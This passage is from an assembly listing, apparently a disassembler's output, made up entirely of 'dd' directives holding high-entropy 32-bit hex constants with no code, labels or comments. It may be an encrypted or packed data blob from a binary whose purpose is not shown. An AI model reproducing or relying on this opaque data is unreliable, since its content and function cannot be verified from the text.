		dd 5FF2B065h, 18E2C643h, 2A859FE1h, 175EA98Ch, 3913F668h
		dd 0B5934186h, 0CC60E24Bh, 0C1FAD8EEh, 87514F2Eh, 30B72313h
		dd 0D4BA5210h, 32FC4AD1h, 9931FEA5h, 8003B8D6h,	638AB63Ah
		dd 6E28252Eh, 7FF11708h, 0A46801E3h, 0F564FB2Ah, 0BCD26FB8h
		dd 0DA74A2DEh, 224931B1h, 0BDFC15h, 3D29F0B9h, 0D1250DADh
		dd 0D9880940h, 41FD7995h, 81CC02E9h, 4D2BC1F3h,	0C02E79BEh
		dd 662C1566h, 475F7A03h, 85932DE9h, 1065F3FFh, 0F6487DE2h
		dd 72A9EA0Ch, 98406E86h, 0E553B75Fh, 0B9B16544h, 0FF900D39h
		dd 419EAF12h, 0F7915976h, 5755CCD0h, 719E8EB8h,	351BB801h
		dd 0AD306374h, 0A898B9BFh, 0C7582C61h, 8BF48383h, 1CDBE73h
		dd 4B7F14E7h, 402B3D03h, 472CE908h, 96FB32Bh, 0BEEEA05Ah
		dd 8C458Fh, 3EEC169h, 3AFDB850h, 9529B13h, 13465FFh, 335665BDh
		dd 97B03E7Ch, 0C2035C93h, 8A80B2A7h, 12F859DFh,	0C219EC59h
		dd 0D6118568h
		dd 12E958C1h, 17F2945Ah, 0B5DE2778h, 0F8A4C9F9h, 41D559ADh
		dd 34A932E9h, 351AA3E6h, 0EAF466E2h, 929C0111h,	0C1D6A20Dh
		dd 741F221h, 0DA305E5Bh, 356295D5h, 0C505BD6Ah,	8816EE8Fh
		dd 0ED1F34EEh, 44FB1C84h, 0E58D742Fh, 35C18157h, 0F329007Fh
		dd 0ACF1BD5Eh, 0A3475469h, 1C028AEh, 612A72ADh,	35E5D7E9h
		dd 9AC02BC4h, 13D6E364h, 0B05BDA31h, 0A562862h,	1C4C05A2h
		dd 10FF4DFAh, 1A48E3C3h, 56D0100h, 5A7169C4h, 4071E6EAh
		dd 0F40E35F2h, 0A02EB034h, 79D509A1h, 63BD0455h, 804AD244h
		dd 13E13426h, 4B414E59h, 0C84857FDh, 0E83B6851h, 0DEEBD23Bh
		dd 308E132Fh, 0A0FA2D4Ah, 3721A08h, 6525B866h, 0EAA2DA0h
		dd 1AA06AF1h, 0A0522EE9h, 0F2F9D3B1h, 35FF2BFAh, 50EF8ABBh
		dd 8BC02DBFh, 0E07144EEh, 0E3295C78h, 3008A372h, 7B12DED2h
		dd 6650B36Fh, 4917AE83h, 9CB842A8h, 272DBA4Ah, 0CD3B4261h
		dd 0AEDF7A44h, 21096613h, 6E7BB9F0h, 0F02D77A3h, 37D35058h
		dd 0CB4FCFCBh, 4EAC5EFBh, 0A09AAA96h, 0F020B14Bh, 297D8441h
		dd 601DCB7Dh, 0E38568A0h, 0C3851ABCh, 81632B8h,	56D0ABB9h
		dd 0EC4B6D75h, 423509F1h, 29804C57h, 1DB54FF5h,	13A2FAB8h
		dd 7E7E080Bh, 0A7120C3Dh, 10E2422Ah, 77BF1Ah, 2CFE7473h
		dd 9DD32FE9h, 0BB405574h, 58AF3698h, 0B510A975h, 0DAA0D328h
		dd 404416CAh, 674EB0Eh,	12DE0C14h, 7EB05B5Ah, 65475C09h
		dd 40D9E210h, 3012DEE8h, 4AFC8BAh, 9AB6414h, 4B47F754h
		dd 0E84B7127h, 0BF9CA5B4h, 95D160B5h, 4746977Dh, 0D7DFE925h
		dd 83C96F1Bh, 0D32C284Eh, 79048D5Ch, 0ECFC4460h, 685650A0h
		dd 14710E01h, 0A11EE909h, 7BB5977Eh, 6C77E277h,	0DDD2A2DFh
		dd 0D4629E51h, 0F6B87772h, 0CE0252CBh, 62B250Eh, 9517C039h
		dd 11B9B7h, 2D8791D5h, 4FAEEA29h, 68300992h, 88E9898Ch
		dd 0F1288058h, 0C2D8078h, 3B14545Ah, 5C40C39Eh,	90C277C4h
		dd 0F335092Dh, 5481F65h, 0E8520719h, 0E0418D3Bh, 6E9706A0h
		dd 98E91255h, 0A89E352Dh, 5255254Bh, 9D14A05h, 0C67C891Ah
		dd 0F96C262Dh, 0CF22BD83h, 18D42576h, 0FA391366h, 0F37A973Ch
		dd 0DFB82AFBh, 5279CFB1h, 46576C96h, 110161ABh,	3FBE44E9h
		dd 4A5CC740h, 5E3196D4h, 0A863C0FEh, 2C60E37Fh,	5DF0731Eh
		dd 7A2D00F1h, 2919550Bh, 7A205F8h, 397D9E40h, 2A62E3BEh
		dd 0E4A05E9Ch, 848224F7h, 3E8DC890h, 76B62D14h,	0E683BC5Eh
		dd 0B0568859h, 4700EEAh, 0D729D17Bh, 7DE0EE5Ah,	46423F19h
		dd 8485F25Ah, 0E2EF3C87h, 794B8441h, 685B5800h,	0A4BD42C3h
		dd 8A1481A5h, 0E39C4E77h, 948F16CCh, 0C2870BD1h, 8442C405h
		dd 0FF5FBB39h, 0B53E278Ah, 2295F184h, 0E160D4C7h, 4CD625DBh
		dd 0B0133B66h, 0F9AF11FAh, 0C1B49C48h, 6F61D6D1h, 1BFB7474h
		dd 1FB2BB89h, 35748570h, 0EDA0F91Eh, 0FCC3168Bh, 8CE95BAEh
		dd 3B976B22h, 8A420172h, 0DD132514h, 2044CACDh,	907B3FEh
		dd 0D6C9F1E9h, 2AC661F7h, 0EF31F457h, 0D8BDBDB0h, 5B37965Ah
		dd 87DCE09Ah, 0B166A01h, 0B42FDEF7h, 15D3E4C5h,	5088C8EAh
		dd 1E62E916h, 0C15D70BBh, 599706E5h, 3D0DA407h,	4C1E2485h
		dd 6965AE31h, 5DE99581h, 7F1F2BA8h, 0F86A4BCCh,	74E10562h
		dd 0E282054Ah, 0C180018Ah, 4A77A75h, 0C417E8Bh,	0C0D77B2Dh
		dd 0BDCADE5Bh, 6BD4F55Eh, 8DCECF91h, 86EC292Bh,	52595450h
		dd 2C1E03BEh, 22BA01EAh, 81350B50h, 1249BB80h, 4205E62h
		dd 1CE808h, 802AB753h, 0E7B4C9EFh, 0EAB23E00h, 8D4E3AE9h
		dd 7D21429Ch, 0C2CC25E8h, 77ADA0A0h, 0D6950E29h, 0B784A91h
		dd 0E55DE640h, 31CAB240h, 5C440102h, 50657266h,	6B61E986h
		dd 5056320Ah, 0DAA0A744h, 7B343CB0h, 176CF0B5h,	0E03007B2h
		dd 8BBD6C4Dh, 0F8A0CCE7h, 0BEB55E66h, 9151792Ch, 0CC188D51h
		dd 0CEA86F26h, 2D7C09DFh, 4A30DF5Ah, 46825FDh, 3AAD2D7Dh
		dd 207A88C0h, 29980CFAh, 0CA6BE809h, 14A85570h,	35E90608h
		dd 80074C5Ah, 0F188CDEEh, 5514C6A2h, 4EC23113h,	0D002EFEh
		dd 309C7DBBh, 29C80025h, 0C3354813h, 68761D20h,	6C5B7B98h
		dd 531082B2h, 3F1392BBh, 8CE818F1h, 7B1B273Dh, 7F45D6E0h
		dd 0D6834EBBh, 0CD2F4827h, 2DC7D8AEh, 59AE9B7h,	6A4C86Fh
		dd 235FD1F6h, 6D25A6ACh, 875D2082h, 0FFA2BB5Fh,	0E3D87B84h
		dd 3A6841C8h, 0A6105BF9h, 93593F76h, 0D99C5777h, 0AC685F51h
		dd 0AFE9B190h, 2D79902Bh, 3A2D9610h, 7A1D259h, 0A4B81DEEh
		dd 0FAF39565h, 14E30C00h, 4FE91A78h, 7E48A1ADh,	0F6D363A6h
		dd 36A71779h, 54B7828Ch, 13A9558Bh, 4012B62h, 1278F818h
		dd 8A7A7DA8h, 7203028Fh, 0F7E068DBh, 36091BA3h,	0F4F989EEh
		dd 6FBB63F5h, 3A7394B1h, 8B4B30C2h, 105F4DAh, 0CDE902EBh
		dd 6EED3FCFh, 16C68101h, 0F83E1020h, 0CBDB098Ah, 575D92C4h
		dd 0E90513CFh, 22EB7A80h, 786252E6h, 0F1B97658h, 0F5015B84h
		dd 5181A4A9h, 64F6AAE9h, 0B6EED763h, 535000BAh,	699115B1h
		dd 0FD92688Bh, 65DCE5B1h, 0D6E87C86h, 0FECA7622h, 89BA2FA0h
		dd 92FAD9DDh, 574CCC51h, 21306804h, 0AAF93A71h,	0F794D139h
		dd 0C905B8DFh, 0F9D395D9h, 5E490512h, 10AA5019h, 0DA40071Ch
		dd 587A01E6h, 0EE92A7Fh, 10FC22A2h, 8102C616h, 0AD0DF6EBh
		dd 0CC66C782h, 9C5458DCh, 52B38B8Ah, 5102EA78h,	0FA6837B5h
		dd 3219D534h, 5043312Dh, 7C1AB8DCh, 85574E3Dh, 309D1CC6h
		dd 29128CC2h, 622BC77h,	86EAAC6h, 0A439E21Dh, 280C2714h
		dd 0AF28080Dh, 0AECD58D3h, 0A1FF1C04h, 0FCA945D0h, 0C9833AC4h
		dd 31EF15B9h, 37A785Ch,	0E965AC5Eh, 0E9BD88ABh,	9993FD30h
		dd 0B5DC0C1h, 0C8294B9Eh, 0A4D05E8Bh, 0F9051101h, 0B07FE93Bh
		dd 0CAB3902Ah, 4E28458Bh, 0A000AB3Ah, 557D6F20h, 3E5625BDh
		dd 0F502711Dh, 347832C0h, 3AB973C1h, 588CC212h,	0CC264F87h
		dd 694A95D5h, 98A06E31h, 250EB10h, 277E4C3Bh, 84155EC3h
		dd 0B193E95Ah, 50CDE871h, 0BDC75897h, 7374955Ah, 0FC7F18B7h
		dd 0B2C08288h, 0FC97869Ch, 3596BD8h, 6DE7E9E1h,	0FAD73469h
		dd 791D3C16h, 0D601C64Bh, 5403040h, 34017C3Ah, 70AF381h
		dd 81420B6Fh, 977CD8EFh, 52A79760h, 93C7397h, 72F3729Bh
		dd 0C7F532Fh, 0C687116Ah, 0E5536E04h, 78AC295Ch, 38E90840h
		dd 0EF4A21D3h, 60ED7620h, 5640259Ah, 405EAEC1h,	233050D4h
		dd 51090E2Ch, 85A0D52Fh, 1A62B537h, 3429A2A9h, 2313F167h
		dd 0F1A19F2Eh, 0D74DB952h, 2DE8C27Ah, 0A84A1E17h, 56CF3904h
		dd 49DE99FCh, 3BCEAF98h, 0C370EBF6h, 0E03BFD95h, 9AE6C817h
		dd 0B3ED5B4Fh, 0ACB2E5E8h, 95BAD248h, 35926300h, 1CAEE281h
		dd 0E94C1693h, 0C776F4A2h, 824127EEh, 0AAC4236Ch, 94F2A8EDh
		dd 1AC810A5h, 3682BF3Ch, 0FD2122A4h, 230FE1h, 0F4E7CD81h
		dd 22C76CCh, 0AA77E8EDh, 0D16101FEh, 33983E51h,	529E401Ah
		dd 0FE78BDAAh, 0FD26EE09h, 625EC270h, 89C668AFh, 966FB3E6h
		dd 4FF1ECE3h, 446C65AAh, 796388Fh, 4673F029h, 0B10E0317h
		dd 0AEE1806Ah, 0D55AC79Ch, 840094CCh, 0B352AF1Ah, 0AE88C01h
		dd 0CA5798Dh, 0B87A097Dh, 0C20B28E5h, 295AD19Bh, 674046C2h
		dd 0C90141D6h, 68D0F714h, 0B1883FE3h, 0E5818D65h, 19382C39h
		dd 126F56EDh, 40CFEE14h, 1A9DE909h, 94BC1BF1h, 921B2243h
		dd 79AD6112h, 221FEED6h, 0C9DF682Fh, 0FD6E13E7h, 3861BC6Bh
		dd 3BD786Fh, 0E172E9DAh
		dd 7630149Fh, 512212C4h, 0FDA61626h, 4E912FFh, 0C30193ADh
		dd 4A26482Dh, 94F42F59h, 0BC7B178Ah, 340AA247h,	1877BF2h
		dd 3A5405BFh, 0E5E7984Fh, 538813B2h, 2F059223h,	0CA79D2F7h
		dd 6447AA01h, 4C6C314Ah, 4AADB610h, 2F7A05F2h, 2ED5954Fh
		dd 0C663EB07h, 0DA293D49h, 63500CADh, 4772FB95h, 0E5DDE9BCh
		dd 0D9958899h, 4C4BBD02h, 0EBF4828Ch, 0CEDB415Dh, 0F134BF2Eh
		dd 9A2CBFAh, 7FE7AEE9h,	512D5E6Dh, 0E8C1832Eh, 0CC163112h
		dd 4E8DCCFEh, 6A057432h, 0A9397344h, 0BB92044Fh, 0F6C2C68Ch
		dd 0D5A3A029h, 0EACD8745h, 5108C0D1h, 0F95276B9h, 47A8065Ah
		dd 5218384Fh, 3BC3BA00h, 92E91796h, 0AC16C1B6h,	3C2B5468h
		dd 0B3DDC4C2h, 0EE64BAB7h, 5B1CECC1h, 12DFAAFDh, 7240D1E1h
		dd 5A646333h, 907EB30Fh, 0B59A3125h, 52738B29h,	3E75280Fh
		dd 0A53D0EA9h, 6EC0F563h, 554A5EF5h, 4A7ACBFFh,	0A9961FE8h
		dd 1C20C17Ch, 0C5D87249h, 5D0F177Fh, 13D4D445h,	0E9108C08h
		dd 160B304Ah, 0F018059h, 0C2561B6h, 4C187413h, 6D5F78F4h
		dd 0E947AA4Bh, 0A00597BFh, 3612529Fh, 27041508h, 58092668h
		dd 0BB411532h, 72126A20h, 0A0FC281Dh, 0DEB80621h, 19345A4Dh
		dd 8381B35Bh, 0BA2A595Bh, 9FAA9416h, 3FE9099Ah,	24E57BECh
		dd 90AC1355h, 0EA48EF9Ch, 31F3D58h, 2D595CA2h, 424AB1D1h
		dd 0A14C0A30h, 0A9DC6D15h, 0D102972Fh, 0C12B78EBh, 127959A1h
		dd 0C66DC181h, 0DE42C682h, 1756F35Fh, 19D46130h, 1F6762Fh
		dd 65B15108h, 0BC7AD7F7h, 0E7C18622h, 62EF075Ch, 9E558B4Dh
		dd 0A5E903C1h, 1331695Dh, 39EE843Ah, 7685F8DFh,	0F7EF1DC0h
		dd 264E9F42h, 0B40FD89h, 5654AFC0h, 34F83C2h, 3F4AE5C1h
		dd 5AD1CC1h, 0EFB8946Eh, 2F41351Dh, 146EE911h, 8BCE302Eh
		dd 0F17DE5BBh, 1D173E5Bh, 116C17B1h, 0CAC1EFB4h, 0B7BB2E68h
		dd 0F10B62A7h, 6F170FD7h, 6DA3461Bh, 3ED2495h, 270B0260h
		dd 0F07F94C7h, 81BD740Bh, 94D77B52h, 4B6DD109h,	0DED2EA5Fh
		dd 4B883236h, 4032A3D0h, 0DDC61BACh, 5CA304CAh,	0E643E13h
		dd 7D81DA0Ch, 0B66F592Eh, 9CAED27Ch, 0F725E92Dh, 8452666Eh
		dd 0C01E5AB8h, 42E0686Ah, 0BFF27EE1h, 0C5F752A2h, 0E9E7316Ch
		dd 5C5064C6h, 6F99689Fh, 685A809Ah, 0C5101E27h,	4AE909E8h
		dd 792FB376h, 8007499Eh, 3BFC896Ch, 21138740h, 0FC0B9501h
		dd 4D06F01h, 0C2A720AEh, 655DE70Bh, 2D0AE060h, 0A8382521h
		dd 71D087Dh, 8FE95204h,	8B5B56B8h, 4BDB10A3h, 68875830h
		dd 149666FEh, 477E162h,	12CAAE5Fh, 2F50657Fh, 581FEC58h
		dd 0D601278Ch, 0D0BC89AAh, 0CC5F2BA9h, 75BA053Eh, 0EE0E575Dh
		dd 806A87B1h, 395D7C2h,	9A6315Ch, 553C05E9h, 5709021Ch
		dd 223BD368h, 5DEA5465h, 5D7271FEh, 2232784Ch, 755D2A74h
		dd 5565575Bh, 0A88716AAh, 8BAEF516h, 3ECB5213h,	0F63029Eh
		dd 0D1704DE9h, 6146A7CDh, 95539FEh, 889A02F7h, 5823BDEh
		dd 60472779h, 0C4A2FC1Bh, 0D46D8C2Fh, 3C8EEA20h, 0C30D3633h
		dd 89FD9ABAh, 0A2EFC60Bh, 0B31F682Fh, 0DBF60F5Ch, 0C003C380h
		dd 0D3C304EBh, 0E5E9040Dh, 0B92B8B18h, 0A45C3BEEh, 0EF0B51C2h
		dd 522F74A2h, 7D7AF976h, 6F376F6Ch, 265680DFh, 80D29DCDh
		dd 3110C906h, 5135D0Bh,	0EE73DF04h, 0D0A2EF51h,	59BC93h
		dd 2B8A2008h, 0D66CFFE9h, 0B587E24Eh, 4E970183h, 9F33AD10h
		dd 108FB50Bh, 2C58BAEEh, 9A8E4EA1h, 5CFEB9C1h, 28AD2D58h
		dd 5A9863C9h, 234EFF8h,	0DEE4C504h, 0D098A2EBh,	0BF2020DAh
		dd 162D3CC6h, 9D8D66ACh, 822F26C5h, 55C82967h, 0C331B730h
		dd 55F25A95h, 533F8976h, 0B297D4D9h, 0F878251Ah, 84E89B31h
		dd 9837E468h, 224108FFh, 73F18682h, 6FC04A06h, 67305B4Eh
		dd 2FF50C1Ch, 56476918h, 0D727E454h, 0DF950A96h, 0E92FA596h
		dd 17C4DAEAh, 8D5EF121h, 0BDF53FFAh, 17DC0F21h,	0F6FFA08Dh
		dd 0A95102B1h, 9CFAE931h, 0D0B715E6h, 804EC301h, 0ED983FF3h
		dd 0DD782852h, 5B25C575h, 4A057F08h, 0BBC29526h, 8CC27664h
		dd 52E8105Bh, 0C9CBB62Eh, 0C7584709h, 0C56125A9h, 2FD1C57Ah
		dd 35CEEC00h, 2CE91D1Ch, 535574BAh, 363D44D9h, 76B925C4h
		dd 5452C39Dh, 0C27659D9h, 0CB3BD95Fh, 142E55ECh, 0E196639Ch
		dd 0FCC0DD1Ch, 8748C535h, 0D6F71DF1h, 0CE353931h, 0AFA2EB08h
		dd 0C04A1850h, 0E7BC653h, 2AFF2B47h, 25083610h,	43B8555Ah
		dd 9A5BF1E9h, 0DC34A9B3h, 0CD01C0D9h, 281D0504h, 0F5252CC8h
		dd 0BF89A345h, 0B538183Ah, 57E912A7h, 0FC31FE91h, 0CA2AB9BCh
		dd 739A1813h, 2CD2EB6Bh, 1341B60Fh, 0B8B9412Eh,	0F06B53B1h
		dd 2DE44191h, 326A0700h, 644F353Eh, 0F8194ABDh,	25BC4FC2h
		dd 8CAD6887h, 4D40B55Fh, 5888E0B1h, 8D2CDDCCh, 52BA811Dh
		dd 0EC566261h, 5E92F8C2h, 0A914C89Dh, 0FCE6B735h, 114F6813h
		dd 0E0D3A9F2h, 0EFD22B7Eh, 7E198BFFh, 41A36A5Ah, 81C986D0h
		dd 8BDC34C3h, 749264B3h, 185FB2AFh, 2D10B156h, 594016C2h
		dd 41FBF539h, 4AB6C073h, 45AB4AB7h, 0B818E9D8h,	2CBA5A68h
		dd 0B1C43953h, 2DAAD701h, 0D4286BA9h, 0C680050h, 58560652h
		dd 0D44C5EE9h, 251481C4h, 752041BDh, 6A0B1DA7h,	0C7EA8109h
		dd 7B21F948h, 8A8A51Fh,	50141CD0h, 0CE88436Bh, 485A71E3h
		dd 0DE397173h, 0C3B50D16h, 14094E2Bh, 2BC056Ch,	0A0C74969h
		dd 7FD568A6h, 0E87B5E1Ch, 0FD347EC6h, 0A8AB1C8Ch, 0BE11A927h
		dd 68009C51h, 1A9D5B07h, 67B90080h, 9F6DCF5Eh, 0E96386D1h
		dd 0FF09CFE7h, 0DC2C0FC5h, 0D1A0C322h, 0C22E2592h, 19032F77h
		dd 0E06D0133h, 1D5FB2F7h, 0C14F0EB9h, 0A969C2CFh, 9CD93068h
		dd 0D5608716h, 9E130BAAh, 65FE69E2h, 23014C2h, 0C5DFEE01h
		dd 0D646ADCEh, 0BD97349Dh, 682F59C7h, 0BCE40FE6h, 0DB84022h
		dd 0B18AB67h, 290B11BEh, 15832C6h, 0DBE25E55h, 5459D65Ch
		dd 4F466B60h, 59774B0h,	0BCAF4968h, 4E1EC48Ch, 47532909h
		dd 0DB027526h, 0F5260973h, 2E08EBA8h, 0E9E16CD8h, 649B362Fh
		dd 26DB906Eh, 0AD15C4DDh, 0DD49B9D6h, 0BD9513CDh, 41869EABh
		dd 823E3A7Fh, 250808F0h, 0D5B4DFE9h, 599706F6h,	86F988BBh
		dd 0F5167324h, 0B8BA9E84h, 5550B005h, 0EAA09BDh, 57630DEh
		dd 5278F883h, 75CDB029h, 608C3E47h, 4A0DED01h, 804D0C08h
		dd 0F4256B0Eh, 0BDFEE9ECh, 11EBAAF6h, 1315EAC1h, 60CEB5F1h
		dd 33CBEC7Dh, 0BEDAFAC7h, 3C5C8BFh, 3D2741F0h, 25CF2605h
		dd 0D3244601h, 0B2680802h, 88B96C7Dh, 24DEF1Bh,	0E905CE7Ah
		dd 987F5164h, 0BB6F3EE4h, 0D8B087Eh, 0D73CBE0Ah, 0C1C2F247h
		dd 0C6310254h, 0F781CBC5h, 0F5E950DEh, 0B07E9D75h, 0E071869h
		dd 0CB816E79h, 60733662h, 1314EB86h, 47E7B3Eh, 12F1BDBDh
		dd 0D72ACF8h, 732E35EDh, 83FC0A64h, 26B9D8E9h, 1784FA3Fh
		dd 3E600F4Fh, 0FC0E98A5h, 4990DC93h, 2C545512h,	0B904512Ah
		dd 74E64F8Ch, 29601AF1h, 0E60CDC02h, 4EEB103Dh,	0B2EB2794h
		dd 76AE96E2h, 6851081Fh, 921EA885h, 5EFAD55Dh, 0FFA4C3BDh
		dd 1C94D58Bh, 0D5E0C920h, 0C4965A52h, 85A98EE9h, 6856E20Bh
		dd 0BDF4CCF5h, 0D4C5CA22h, 0A5B145D7h, 46664D80h, 0EE48C133h
		dd 0CDC73A1Eh, 7A277BECh, 2536534Ch, 0B38D2202h, 7E6168E0h
		dd 60895F80h, 1DBEDAF3h, 0B48D51Bh, 671004B6h, 0F9C27A9Ch
		dd 0A14E5558h, 424041F6h, 5C80775Ah, 73E7494h, 0B34F283Eh
		dd 6ABF8063h, 9876307Ah
		dd 40A601FDh, 0E7C12709h, 550C7E07h, 138A86DFh,	0B0331A71h
		dd 7577F62Ch, 8D2EC12Ch, 0C2EA12B0h, 0C2660C5h,	2B207C6Bh
		dd 570F4A98h, 805E4721h, 0AE0C35E6h, 5246C060h,	0FB270BBAh
		dd 1217184Ah, 477E13EFh, 938B835h, 0BD3AF155h, 0EAB04EF6h
		dd 8B77D21h, 0D27242ECh, 6BFBB1F7h, 0F27E24FDh,	0C032DCC0h
		dd 0F48008E4h, 0DD1FB53Ah, 2ED3E528h, 0E35F98ECh, 2AE9C20Ah
		dd 9146DD13h, 4680325Bh, 2D865166h, 8A56247Ch, 8D6BA22Fh
		dd 6640D671h, 5B4F639Bh, 87101BCBh, 0B4E84FB7h,	2512E600h
		dd 5FF92104h, 0AC02D597h, 0C26653CFh, 4439D69Dh, 0E1C18052h
		dd 7624F73Bh, 3A005953h, 5E66996Bh, 0D3070BBBh,	307CB421h
		dd 0D37F9C09h, 24D4AFF2h, 9212AA03h, 0CBA40078h, 55380A3Eh
		dd 0B15B66E9h, 6EEE4090h, 0F5422FC4h, 3382097Eh, 41132B54h
		dd 0F7C25CF6h, 7C2D75F1h, 53CA60A2h, 0DAFE5231h, 16081CD0h
		dd 885645E9h, 0D92736ECh, 9CBA1A40h, 425A0200h,	7A9AE281h
		dd 42564807h, 0D07F4C00h, 7886E916h, 5846CEBCh,	55F701A2h
		dd 31DEE4ADh, 0EB3C6AF8h, 55E92F57h, 2B5E1AE1h,	0EE5B31CFh
		dd 64E5B121h, 2E9A8005h, 37409914h, 0FC1613A3h,	112FE2Dh
		dd 8C39D8BCh, 0C14EAC85h, 4F81AAE0h, 0A4219707h, 0A35857FCh
		dd 2504D1EBh, 98C743F0h, 9F66EAFFh, 98BD7FF3h, 0B076BA12h
		dd 54E3EE61h, 0FE2DEBDh, 0C5570AFh, 3A5FCF66h, 58E3881Ch
		dd 0ED8BDADEh, 89CFF183h, 0EEFE7F82h, 27083940h, 84C9D40h
		dd 209C96B5h, 54F25B0h,	0BC5EBCA9h, 0B7BC4AE1h,	2F09F8A6h
		dd 0DF2ECE0Dh, 0F1E95548h, 707CF94Dh, 232E3655h, 0E95F05ABh
		dd 0B2BAD2E2h, 594E0429h, 6D807A48h, 5A197FCBh,	2F60F14Bh
		dd 0C76ADECh, 358D50A2h, 74980318h, 5744D169h, 5882198Fh
		dd 0F4842B67h, 4D8CBB8Bh, 50786918h, 37E80E10h,	59F18BC9h
		dd 0BFA32079h, 0AE095646h, 3596302h, 371B71Dh, 74A2C253h
		dd 1CDA0621h, 17F4804Ah, 0C6BC5D18h, 1D7C0032h,	2D83F181h
		dd 0E92AD948h, 32B7CFF2h, 0D6777FEh, 0D9FE5712h, 1B867442h
		dd 0C1AFA39Dh, 7874B9F0h, 27D57CFEh, 8F71A0F4h,	0C7F8343Eh
		dd 0E86424ABh, 4C52DEC1h, 916E78A1h, 60A8EE7Dh,	464D6E7Ah
		dd 70E05AF3h, 2C7208A2h, 521709A4h, 18738702h, 26AC5C1Fh
		dd 30BF050Bh, 0FAB38531h, 0B4684404h, 2C16D1EAh, 0F6A250E2h
		dd 980150F2h, 13830576h, 842A1647h, 5E070F4Eh, 0DA00D00Fh
		dd 5A14911Eh, 9998515Bh, 0B7211CEFh, 0BB53525Dh, 1BFF0960h
		dd 0BB3324E7h, 3D8004B8h, 0EE52BB29h, 7C376F09h, 0AC5813C0h
		dd 1C84B157h, 0BCCFF15h, 2BE9245Bh, 34EA66Dh, 31DD6651h
		dd 48E60D9h, 94AE5584h,	4EF5ACE9h, 5B7CD5B4h, 0F1F1CC05h
		dd 0B9749D1Fh, 0D285143Fh, 6C52818Bh, 0C2402996h, 5A686532h
		dd 0A0E085BEh, 16A02415h, 0E32CEBEEh, 0BC08993Fh, 9D82D36h
		dd 0F5354000h, 89F9BE33h, 0CFE6C0C7h, 32F73E57h, 68154F71h
		dd 2DCA7BCCh, 1C5C8B45h, 3B070910h, 82FF4F56h, 0A26DE3Bh
		dd 7B700895h, 5F028F0Bh, 8403B6Ah, 822C4239h, 5D000019h
		dd 68262A5Bh, 71386477h, 290EC28h, 2B8F73B8h, 0DAA57F64h
		dd 3F3DE1D8h, 6CC419F7h, 1817166Ah, 2ED044FBh, 6604D7C5h
		dd 537C4935h, 0CC98D98h, 254C5031h, 0FA182EA6h,	56286FE5h
		dd 0A6C2E86Ah, 5D3115DAh, 525387DCh, 66C1DAA6h,	0D22F3868h
		dd 7F134ED2h, 2AB2E820h, 0AA128514h, 55E7CADCh,	847825A6h
		dd 5452CB94h, 371B8248h, 45B82BA2h, 0E09DEAC1h,	2C7EBCD1h
		dd 2DE21E8h, 717540ACh,	0DCD3835Dh, 18F8B5D1h, 0A30DE909h
		dd 3A1C395Ah, 4CE79463h, 0D30A7C34h, 9C0FA5Dh, 5B80300Eh
		dd 4216D029h, 0C34E6B94h, 98B49A84h, 2B664121h,	63D48271h
		dd 0FCDE8802h, 7906CE96h, 2FF998A3h, 0F7525DEFh, 0DB985AE6h
		dd 3EAF0F58h, 23319771h, 0CB05D5EBh, 620580F3h,	4C674E10h
		dd 7412529h, 47D71F0h, 0EAE92251h, 15E3BBA3h, 1490AE84h
		dd 26B0263h, 0C1403292h, 396B96D3h, 0D0FDDAC4h,	0A83AE17Eh
		dd 0AD27B189h, 3C5C5840h, 0D812488Eh, 0C1178C30h, 0DE274A25h
		dd 8337F259h, 276F7808h, 167F6BFCh, 6850029Ch, 40301307h
		dd 90B0A040h, 59975592h, 0AD68DEh, 4A709A9Eh, 0D90ABD55h
		dd 0C5067E2Ch, 0DF4B1A25h, 2142CA32h, 0C7CC0077h, 569265B5h
		dd 0B078116Ch, 3AE32E7h, 0CB56EE69h, 1A9552A8h,	0C41855D7h
		dd 89972FE9h, 0EB1287D8h, 0CABA167Eh, 0A4981B2Dh, 700C5AEFh
		dd 4185883h, 81600E88h,	178D4055h, 5F4F1359h, 0A31E545h
		dd 0BF5A9EE3h, 0A5C03121h, 815DEC3Bh, 1D8C752Ch, 0A4A2BC3Eh
		dd 5E2FF6FEh, 2C3E2AEEh, 0A103E951h, 0D4122847h, 0B806F2A4h
		dd 6C2A0E6Ah, 0C9C13017h, 52F26610h, 19C61DE7h,	0C6C78765h
		dd 0C38D46BBh, 894006C5h, 0EF569D63h, 6306EF3Ah, 7AB05066h
		dd 0CF5E4024h, 10BDEB84h, 109DA0D1h, 8A515746h,	13B0120Bh
		dd 0A2F1CBAh, 8C866CBh,	0BF0129ABh, 77480BE8h, 98FF33Fh
		dd 7D1C8BF8h, 683DEA96h, 0E7E2DB44h, 77D1AFD6h,	5A2880E9h
		dd 70EB281Bh, 5072A80Ah, 0C116F1B4h, 0CD872345h, 0E49A901h
		dd 0C13EC327h, 39E829A1h, 0A7E984B0h, 177B7B8h,	76B7531Bh
		dd 98E8F780h, 0E9B09606h, 0BA8BC138h, 7F984B70h, 412DB4A8h
		dd 0FC0EAF6h, 97A68E34h, 5B9D21D0h, 0CBE98B0Fh,	2E8FDE61h
		dd 439492E2h, 75468725h, 0A0AFDA97h, 2E3FB5A7h,	30C11AAh
		dd 41D53E03h, 8641EBFDh, 441D2F3Ch, 82054278h, 0C07B306Dh
		dd 0B9E908CCh, 8AFF97h,	826072FBh, 7A996CA4h, 0CAE5FD49h
		dd 68C1A22Ch, 0CC2E1859h, 2912CAAAh, 5B133553h,	6BAB653h
		dd 0EE8A8F6h, 0FADC682Dh, 41DE2D40h, 11B3ACC8h,	421DB627h
		dd 8147FD0Dh, 1E02BF26h, 403A3015h, 3049441Ah, 30C169Fh
		dd 294C2A19h, 6AFC3531h, 5027380h, 0F27400F5h, 0C2825E3h
		dd 0F73036EEh, 2DD805D0h, 5FA374BCh, 1612F996h,	6EF26361h
		dd 6D685381h, 678E2E78h, 0E9E0FA4Ch, 0C2E18095h, 0CA1DF157h
		dd 7F4B0317h, 24061C52h, 2EF31DBCh, 81CD0C6h, 14BE5614h
		dd 0A6F10116h, 624C145Eh, 73780727h, 0DFB72F82h, 20DCE63Bh
		dd 0F5815D93h, 3375CEC3h, 6FE6D700h, 83F76947h,	5F628482h
		dd 58E98DDCh, 0EADEBDE6h, 91745D72h, 687A1642h,	0E072C543h
		dd 395C9DEBh, 9D5EBB70h, 7F95C4C6h, 0FFB4C314h,	0B5159C58h
		dd 0BD809EF9h, 7D5A2F95h, 0CAB02BBh, 4FE975D4h,	51058FD4h
		dd 0E1FE5EB5h, 2CC8F13Bh, 7B4B4268h, 658A1E25h,	4E0D0811h
		dd 8AEF5716h, 7E022D79h, 928EE5EBh, 0CD25E16h, 2CAE72F6h
